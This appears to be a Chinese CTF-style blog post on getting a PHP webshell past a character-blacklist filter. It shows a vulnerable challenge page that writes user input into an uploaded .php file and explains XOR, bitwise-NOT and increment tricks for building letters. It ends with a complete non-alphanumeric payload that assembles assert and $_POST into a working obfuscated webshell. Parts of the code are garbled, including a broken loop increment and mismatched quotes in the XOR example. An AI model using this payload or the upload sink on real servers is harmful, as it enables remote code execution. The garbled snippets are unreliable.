利用非文字和非正常符号getshell

利用特殊字符getshell

利用特殊字符getshell:

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
   show_source(__FILE__);
   die();
}
function rand_string( $length ) {
   $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";    
   $size = strlen( $chars );
   $str = '';
   for( $i = 0; $i < $length; $id+ ) {
	   $str .= $chars[ rand( 0, $size - 1 ) ];
   }
   return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
   if (stripos($data, $b) !== false){
	   die("WAF!");
   }
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
   echo "<a href='".$full_filename."'>WebShell</a></br>";
   echo "Enjoy your webshell~";
}else{
   echo "Some thing wrong...";
}
?>

可以看到代码对正常的字符(a-zA-Z)以及数字还有一些特殊的符号等进行了过滤。

那么如何在过滤了正常字符加上一些特殊符号的时候依然可以构造出我们需要的webshell字符呢?

大概思路是三种方法:1.其他字符异或。2.取汉字字符某位然后取反得到对应字母。3.利用数组特性结合php字符自增特点进行全字母可构造

这里的1和2方法都属于位运算法,3是利用数组拼接特性加php的特性。
变量名都采用_的形式

1:

$_=(’%01’^’`’)

%01的ascii从二进制来看是0000 0001 开单引号的ascii码二进制是0110 0000所以两者进行异或后的结果是0110 0001转换成十进制来看的结果就是%61即ascii中的a
根据这方法可以对所有的字母和符号进行构造得到目的字符串:例如:

$__='_'.('%0D'^']').('%2F'^').(’%0E’’]’).(’%09’’]’); //
$__=’_POST’;`

2:汉子某字符位取反得到对应字母:用法为~(“汉子”{位数});
本地使用时发现直接用这样的方法会报错 需要将两者都先赋值到变量中才可以得到对应字符
单纯汉子加取位
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3:数组特性指的是在php中如果强制用字符连接数组那么会变成字符拼接Array字样,自增特性是指php中可以通过变量的自增实现该变量ascii码值的自增。

<?php
$a=[];
$a=@"$_"; // $_='Array';
$a=$a['!'=='@']; // $a=$a[0];
$b=$a; // A
echo $b;
echo $b++;//A
echo $b++;//B
echo $b++;//C
echo $b++;//D

通过这样的方法可以列举出每个字符,因为在Array字符中刚好存在A和a这两个开头字符,字符这种特性只在自增中有,不存在自减的情况。

此类题目思路

此题用3的思路来结题的payload:

<?php
$_='';$_[+$_]++;
$_=$_.'';
$__=$_[+''];
$_ = $__;
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;  
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$_=$$____;
$___($_[_]);
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值